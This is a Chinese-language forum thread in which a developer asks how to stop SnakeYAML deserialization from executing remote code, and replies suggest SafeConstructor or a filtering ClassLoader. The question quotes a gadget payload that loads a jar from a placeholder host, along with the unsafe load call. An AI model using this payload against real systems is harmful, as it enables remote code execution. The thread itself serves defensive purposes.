请教大家一下,如何避免 snakeyaml 解析 yaml 文件时被注入恶意代码导致远程执行呢

2020-12-15 13:44:06 +08:00
 sqfphoenix

目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://x.x.x.x/doSomething.jar"]
  ]]
]

通过 snakeyaml 方法解析

Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞
Object obj = yaml.load(yamlString);

此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形

1623 次点击
所在节点    Java
3 条回复
GM
2020-12-15 16:47:49 +08:00
schema 验证?
dousha99
2020-12-15 19:31:38 +08:00
如果不能预知任何信息,只知道这会是一个用户输入,那么这个需求是完全不靠谱的...

不过因为是解析为 JSON, 那么按道理应该是可以使用 `SafeConstructor` 来解析成 POJO.

或者,自己写一个 ClassLoader 提供给 SnakeYaml, 拦截掉你认为危险的 Class 就可以了。
miao1007
2020-12-16 00:34:59 +08:00
jenkins 有定制后的 yaml

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/735632

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX